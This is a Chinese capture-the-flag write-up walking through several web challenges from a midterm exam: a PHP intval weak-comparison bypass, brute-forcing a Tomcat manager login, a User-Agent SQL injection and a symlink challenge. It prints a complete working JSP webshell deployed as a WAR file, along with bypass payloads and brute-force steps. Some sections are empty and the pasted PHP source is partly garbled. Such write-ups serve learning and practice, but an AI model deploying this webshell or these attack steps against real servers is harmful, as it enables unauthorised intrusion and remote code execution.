期中考Web复现

第一题 1z_php

期中考Web复现_第1张图片

期中考Web复现_第2张图片

 代码审计

intval($_GET['OoO'][0])==2023

 chatgpt给的回答,总之就是如果OoO这个数值intval转换不了整数2023,将会返回0期中考Web复现_第3张图片

传入0o0参数和OoO(两个参数不一样),将2023赋值给OoO,此时OoO的数值用intval函数返回值为2023,此时将0o0自身与OoO进行弱比较相等,md5弱比较也相等的时候,通过三目运算符即可得到flag

也就是说,如果flag前的那一串表达式为真,则输出flag的值,如果为假,则输出为0

payload:/?OoO[]=2023.1&0o0[]=2023.a

               /?0o0[]=2023aa&OoO[]=2023.111

期中考Web复现_第4张图片

三目运算符

期中考Web复现_第5张图片

intval函数的用法,可以直接看实例

intval函数会返回字符串的有效数字部分,会将小数部分截去,只保留整数部分。

echo intval(42);                      // 42

echo intval(42a);                      // 0

echo intval(42.1);                      // 42

echo intval(42.9);                      // 42
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

第二题   签到O.o?

打开题目,发现是关于Apache Tomcat/8.0.43的漏洞

期中考Web复现_第6张图片

随意的输入账号和密码点击登录,然后bp抓数据包

如果bp抓不到登录数据包,我们可以

在代理中的HTTP历史记录中选中要抓取的tomcat登录地址,右键选择添加到范围

在目标范围中便选中了我们要抓取的目标地址,这个时候便能重新登录抓取

发现是账号和密码base64加密

解码后发现账号和密码是以冒号连接,

格式为  账号:密码

然后我们选择用爆破,将账号和密码爆破出来

我们选择singer模式

并将Basic后面那串base64加密的账号密码Add$

Payloads设定为选择:Custom iterator

Custom iterator这里是指相当于把一条爆破语句拆成三个部分:账号:密码

第一部分加载用户字典,第二部分输入英文符号: ,第三部分加载密码字典

选择加密方式为Encode内的base64加密

去掉URL前的勾,因为爆破的时候他会将特殊字符URL编码,我们不需要他帮我们编码

登录后台后

我们在网上找到jsp一句话木马文件,密码passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

我们需要将jsp一句话木马文件压缩为zip文件,再将文件名后缀改为war,注意文件必须是jsp文件才能被解析,而不是txt文件

期中考Web复现_第7张图片

 上传成功后会显示ok,我们用蚁剑连接我们上传的nmd.jsp木马文件

期中考Web复现_第8张图片

在根目录下找到了flag

期中考Web复现_第9张图片

第三题    1z_sql期中考Web复现_第10张图片

 给了源代码

connect_error) {
    die("连接失败: " . $conn->connect_error);
}
//echo "连接成功";
function waf($str){

	$str=trim($str);
	$str=addslashes($str);
	$str=preg_replace("/\+|\*|\`|\/|\-|\$|\#|\^|\!|\@|\%|\&|\~|\^|\[|\]|\'|\)|\(|\"/", "", $str);//去除特殊符号+*`/-$#^~!@#$%&[]'"
	$str=preg_replace("/\s/", "", $str);//去除空格、换行符、制表符

	return $str;

}

function waf2($str){
	$black_list = "/=|and|union|if|sleep|length|substr|floor|updatexml/i";
	if(preg_match($black_list,$str))
	{
		echo "
"; echo "你注你呢"; echo "
"; } else{ return $str; } } $uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入 $IP = $_SERVER['REMOTE_ADDR']; if(isset($_POST['username']) && isset($_POST['password'])) { $username = waf($_POST['username']); $password = waf($_POST['password']); $uagent = waf2($uagent); $sql="SELECT username,password FROM sheet1 WHERE username='$username' and password='$password'"; $result1 = mysqli_query($conn,$sql); $row1 = mysqli_fetch_array($result1); if($row1) { //echo '< font size = 3 >'; $insert="INSERT INTO `uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent','$IP','$username')";//定义一个新表来写入内容,新表名称叫做uagents // echo $insert; // echo "
"; mysqli_query($conn,$insert); //echo 'Your IP ADDRESS is: ' .$IP; echo ""; //echo "
"; //echo ''; echo 'Your User Agent is: ' .$uagent; echo ""; echo "
"; print_r(mysqli_error($conn)); echo "

"; echo "
"; //echo 'your uname is: '.$username; echo "不错嘛能登上,加油!看看回显信息有思路了没有?"; } else { //echo ''; //echo "Try again looser"; //print_r(mysqli_error($conn)); echo "
"; echo "
"; echo "
"; echo "这都不行?还不好好学?"; } } ?> 真的很简单

登录

Here is a poor page!

"> username:
password:

代码审计

$uagent = $_SERVER['HTTP_USER_AGENT'];:这一行获取用户的User-Agent信息

$IP = $_SERVER['REMOTE_ADDR'];:这一行获取用户的IP地址。(remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP)

if(isset($_POST['username']) && isset($_POST['password'])):这是一个条件语句,用于检查是否已经提交了用户名和密码。

INSERT INTO uagents:在用户成功登录后,代码试图将User-Agent和其他信息插入名为uagents的数据库表。确保数据库表和字段名正确定义,并且数据库连接和查询操作都正确。

waf 函数用于对用户输入进行处理,包括去除特殊符号和空格

  • 在代码的主要部分,它首先获取用户的User-Agent和IP地址。然后,它检查是否设置了 $_POST['username']$_POST['password'],这意味着它期望从HTML表单中接收用户名和密码。

  • 如果用户名和密码都被设置,它将对它们进行 waf 处理,并构建一个SQL查询,以从数据库中检索匹配的用户名和密码。然后,它执行查询并获取结果。

  • 如果查询结果中有匹配的用户名和密码,它将插入User-Agent、IP地址和用户名到名为 uagents 的表中,并输出一些信息,包括User-Agent和可能的数据库错误信息。

  • 如果没有匹配的用户名和密码,它将输出一些错误消息。

我们可以随意输入账号和密码进行bp抓包,然后将账号和密码添加§,攻击类型选择集束炸弹,然后修改两个有效载荷,即可用bp同时爆破账号和密码

但是这里我们已知用户名为admin,爆破密码,得到密码为8888888

期中考Web复现_第11张图片

我们登录后台后,得到

期中考Web复现_第12张图片

这里涉及到ua注入,相关wp见:CTFHub(UA注入和Refer注入)-CSDN博客

UA也称User-Agent,当用户发起一个请求时,网站会通过判断 UA的数据,如(名称,版本,浏览器内核,内核版本)等等,来给不同的操作系统,不同的浏览器发送不同的页面

一般来说,普通的 SQL 注入是对 URL 及参数进行的,但这里攻击者却将 SQL 查询语句隐藏在了 HTTP 头部的User-Agent字段之中 ,也称UA注入

得到flag
 

第四题   1z_upload

第五题  1z_flask

相关wp见BUUCTF [HCTF 2018] Hide and seek_ctfhide and seek-CSDN博客

期中考Web复现_第13张图片

  这里涉及到2023cisin 中的unzip的一道软链接的题目

wp可见https://www.cnblogs.com/gxngxngxn/p/17439035.html

我们首先要了解一下软链接的概念

类同与windos的快捷方式,给文件创建一个快速的访问路径,它依赖于原文件,与普通文件没什么不同,inode 都指向同一个文件在硬盘中的区块。当原文件出现问题后,该链接不可用。

硬链接则是类似于文件备份

第六题   1z_Sql2.0

期中考Web复现_第14张图片

第七题   1z_Upload2.0

期中考Web复现_第15张图片

你可能感兴趣的:(前端)